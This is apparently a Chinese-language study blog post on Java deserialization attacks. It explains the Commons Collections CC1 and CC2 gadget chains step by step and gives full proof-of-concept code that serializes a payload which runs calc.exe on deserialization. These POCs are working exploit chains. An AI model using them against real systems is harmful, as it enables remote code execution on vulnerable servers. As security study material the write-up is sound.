入门一下Java反序列化
前期准备: idea起一个Maven项目
Apache Commons Collections 提供了大量的集合类和实用工具,扩展了Java标准库的功能,使得集合操作更加高效和便捷。
CC1
CC1要求的jdk版本在8u71
以下且commons-collections <= 3.2.1,这里使用Index of java-local/jdk (huaweicloud.com)的7u80
版本进行复现 jdk装上后记得jdk8 sun包源码下载 与 idea 设置源码_sun jdk源码下载-CSDN博客 把sun
也装了,在CC1中会用到
还要注意的是jdk1.7和jdk1.8的sun有些许不同
pom.xml
配置:
<dependencies>
<!-- https://mvnrepository.com/artifact/junit/junit -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
流程
首先,目标是命令执行,先看看Java下最简单的一个命令执行
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");
如果是通过反射机制执行:
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
// 获取 getRuntime 方法
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
// 调用 getRuntime 方法,获取 Runtime 实例
Object runtimeInstance = getRuntimeMethod.invoke(null);
// 获取 exec 方法
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtimeInstance, "calc.exe");
入口点: 当然是Transformer
,transformer
接口有21个实现 CC1实现命令执行主要用的是InvokerTransformer
:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
这个方法可以通过反射的方法获取到指定对象
String methodName
: 要调用的方法的名称。Class[] paramTypes
: 方法的参数类型数组。Object[] args
: 传递给方法的参数值数组。
transformer
方法:
这里借助ChainedTransformer
进行拼接去构造input
, ChainedTransformer
可以创建一系列的Transfomer
链式调用,最终达成Runtime.getRuntime().exec("calc.exe")
的效果
如何获得Runtime
对象? 在Runtime中有这样一个方法
public static Runtime getRuntime() {
return currentRuntime;
}
所以可以通过getMethod()
来获取到getRuntime()
方法,进而可以调用exec
构造InvokerTransformer
对象 而getMethod()
方法可以通过Runtime
的class对象获取(基础的反射知识) 所以这里会用到
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
ConstantTransformer
方法来获取到java.lang.Runtime
ConstantTransformer
实例的参数是类,则调用它的transformer
方法会返回java.lang.Runtime
new ConstantTransformer(Runtime.class)
获取到Runtime
的class对象
然后构造:
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
(需要注意参数类型和参数值这两个参数要求是数组,new Class[0]表示该方法无需输入参数)
接下来需要用的invoke()
去调用包装在当前Method对象中的方法,当getMethod
这个InvokerTransformer
对象处理完后会得到Runtime
的getRuntime()
方法,它的输出将会是下个Transformer
的input
,于是可以构造:
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })
同理以上,构造:
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
来实现命令执行
最终:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
//这里将transformers这个数组存到ChainedTransformer的对象里
接下来的问题就是如何调用这个ChainedTransformer对象 有这样一个class:TransformedMap
,其中会调用transform
方法,且继承了java.io.Serializable
,TransformedMap
可以指定transform
去修饰Map实例
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
//为什么有这步?之后会写出来
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
这里新建了一个innerMap
实例,然后用TransformedMap
的decorate
方法修饰innerMap
为outermap
,当outerMap
的值被修改时会自动应用transformerChain
里的操作 所以这里也需要找个能修改Map
的类 而AnnotationInvocationHandler
类就可以做到这点
TransformedMap
中的transformKey
、transformValue
和checkSetValue
调用了transformer
,但这些方法都属于protected
,所以继续找会调用这些方法但属于public
的另一些方法,于是有这么两个符合条件
接下来找个能调用transformKey
、transformValue
和checkSetValue
的地方 全局搜一下,找到AbstractInputCheckedMapDecorator
它的setValue
方法调用了checkSetValue
继续找谁调用了setValue
AnnotationInvocationHandler
: 它的readObject
方法会调用setValue
方法
找到方向了,于是构造反射获取AnnotationInvocationHandler
类,获取其实例 AnnotationInvocationHandler
的构造方法,需要两个参数,一个是继承Annotation
的类,另一个是Map
Map参数传入刚修饰完的outermap
即可,这里继承Annotation
的类用target
target
的返回值是value
属性,且var5.getValue();
这里调用了Value
,所以需要innerMap.put("value", "value");
在Map
中把Key
改成value
最后得到
Class class_1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor class_1_con = class_1.getDeclaredConstructor(Class.class, Map.class);
//设置构造函数的访问权限
class_1_con.setAccessible(true);
Object instance = class_1_con.newInstance(Target.class,outerMap);
这里的instance
就是AnnotationInvocationHandler
的实例
模拟网络传输反序列化场景
//模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
package www.orxiain.unser;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
//让key的值为value
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class class_1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor class_1_con = class_1.getDeclaredConstructor(Class.class, Map.class);
class_1_con.setAccessible(true);
Object instance = class_1_con.newInstance(Target.class,outerMap);
//模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}}
调用栈:
运行拿到计算器
CC2
用的还是invoke
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>
如果跟我一样爆the trustAnchors parameter must be non-empty
这个错,换个JDK就行了,原因好像是[OpenJDK中的JRE的默认信任库为空](异常:java.security.InvalidAlgorithmParameterException the trustAnchors parameter must be non-empty解决方案_caused by: java.security.invalidalgorithmparameter-CSDN博客),下载完依赖再换回去也可以
利用链 1
在CC2中主要利用了PriorityQueue.readObject()
这个方法
PriorityQueue
类实现了序列化接口
PriorityQueue
是 Java 中的一个类,它实现了Queue
接口,并且是一个基于优先级堆的优先级队列。与普通的队列(如LinkedList
)不同,PriorityQueue
中的元素是按照优先级顺序排列的,而不是按照先进先出(FIFO)的原则。
前面获取Runtime
对象和命令执行的方法与CC1相同,都是通过Transformchain
链起来的,但这里使用TransformingComparator
这个修饰器将我们写的Transformchain
修饰为一个Comparator
对象,当PriorityQueue
的一个对象传入comparator
对象,PriorityQueue
可以将它作为比较器,而TransformingComparator
刚刚会调用transform
方法,这不就巧了吗(摊手
PriorityQueue
的构造方法
添加两个元素
queue.add(1);
queue.add(2);
便会自动调用TransformingComparator
的compare
方法,这个方法会调用transformer.transform
方法,这里和CC1的TransformMap
似曾相识。此时已经弹了两次calc,为什么这里就执行了? 接下来会说
之后添加模拟网络传输生成序列化代码保存到cc2.txt,然后读取它执行一次反序列化
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
再次运行,却发现命令执行两次,但反序列化没有执行 发现是queue.add(2);
这里会报错 debug一下 add第二个元素后会调用TransformingComparator
的compare
方法
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
在这个方法的最后返回了this.decorated.compare(value1, value2)
再看一下compare
这里程序意外退出,说明return返回了0
,导致后面的序列化代码没有生效 如何绕过呢?
实际上除了siftUpUsingComparator
还有个siftUpComparable
方法 二者调用的判断是通过siftUp
这个方法 于是只要让comparator
为空即可调用后者,也就是创建PriorityQueue
的对象时先不传入Tcomparator
// PriorityQueue queue = new PriorityQueue(1, Tcomparator);
PriorityQueue queue = new PriorityQueue(1);
这里已经绕过了半途退出,但这个方法不会调用comparator.compare
,后面的命令执行也就无从谈起了
解法就是在queue.add
添加完第二个元素后,通过反射获得对象然后将Tcomparator
重新传入到queue
里
//获取java.util.PriorityQueue类的comparator字段
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
//设置可访问
field.setAccessible(true);
//传入queue对象的comparator参数
field.set(queue,Tcomparator);
field
对象表示PriorityQueue
类中的comparator
字段,通过这个对象,你可以获取或设置comparator
字段的值。
这样就可以正常反序列化执行了
POC
package www.orxiain.unser;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
// PriorityQueue queue = new PriorityQueue(1, Tcomparator);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
//获取java.util.PriorityQueue类的comparator字段
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
//设置可访问
field.setAccessible(true);
//传入queue对象的comparator参数
field.set(queue,Tcomparator);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
利用链 2
在利用链2中用到了TemplatesImpl
来进行反序列化,以此展开的就是TemplatesImpl
反序列化的利用,涉及到Java的类加载机制和javasist的使用,其核心是通过defineClass
恶意加载字节码 获取一个类的字节码的方式这里有两个:
- 直接用javasist生成一个
- 新建一个类,然后用javasist把它导入为字节码 不管怎么说,先看看这
TemplatesImpl
是怎么利用的吧
TemplatesImpl反序列化利用
利用链:
TemplatesImpl#getOutputProperties->TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
在TemplatesImpl
中有一个TransletClassLoader
的内部类,其继承了ClassLoader
defineTransletClasses
调用了它 在前面有个对_bytecodes
的判断
private byte[][] _bytecodes = null;
_bytecodes
就是之后会被加载的字节码,_bytecodes
加载出来的类之后会被赋给_class
之后需要给_tfactory
传个TransformerFactoryImpl
的对象防止报错
private transient TransformerFactoryImpl _tfactory = null;
继续看谁调用了defineTransletClasses
getTransletInstance
调用了,这里需要过俩判断 _name
可以通过反射改,而_class
默认为null
不用管 接下来的AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
将_class
进行了实例化加载,也是在这里执行了构造方法
为什么非得初始化呢? 因为类中的静态代码块需要进行到初始化步骤之后才能运行
跟到defineTransletClasses
这里 在这里加载 这里还有个判断,如果该类的父类为ABSTRACT_TRANSLET
就给_transletIndex
赋值,_transletIndex
在实例化类时用来指定_class
的元素 所以在之后构造恶意EvilTemplatesImpl
时需要让它继承AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
EvilTemplatesImpl
package www.orxiain.unser;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTemplatesImpl extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public EvilTemplatesImpl() {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
}
LoadEvil
package www.orxiain.unser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.*;
public class LoadEvil {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("www.orxiain.unser.EvilTemplatesImpl");
//用javassist获取指定类的字节码
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
// 使用反射设置 _bytecodes 字段
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{bytes});
// 使用反射设置 _tfactory 字段
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// 使用反射设置 _name 字段
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "seizer");
Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
defineTransletClasses.setAccessible(true);
defineTransletClasses.invoke(templates);
}
}
运行LoadEvil
就能拿到calc了
POC
package www.orxiain.unser;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
流程
在inputStream.readObject();
断个点,开始看起 前面的不说了,从PriorityQueue.readObject
开始,接下来调用了Heapify
,siftDown
由于这里的comparator
被反射放入,所以进入siftDownUsingComparator
调用comparator.compare
此时obj2就是传入的templates
this.transformer
就是传入的transformer
这里的↓
之后跟进到invokertransfomer
这里的this.iMethodName
传入了newTransformer
因为这里newTransformerv
调用了getTransletInstance
这里图片上传出了问题,跟着步进就可以了
接下来就是读取字节的操作了,也就是上面的TemplatesImpl
反序列化,一样的流程
(太喵了,这是怎么发现的啊😭😭😭🥵🥵🥵taiqiangle
Links
高质量 & 参考
CC1:
Java安全反序列化之CC1链的分析与利用 - 先知社区 (aliyun.com) Java反序列化研究 - Boogiepop Doesn’t Laugh (boogipop.com) CC1链详解 - 林烬 - 博客园 (cnblogs.com)
CC2:
Java安全之Javassist动态编程 - nice_0e3 - 博客园 (cnblogs.com) javassist使用全解析 - rickiyang - 博客园 (cnblogs.com) 通俗易懂的Java Commons Collection 2分析 TemplatesImpl利用链分析 - seizer-zyx - 博客园 Java类加载过程 - seizer-zyx - 博客园 https://tyskill.github.io/posts/javatemplatesimpl/ 老大难的 Java ClassLoader 再不理解就老了 - 知乎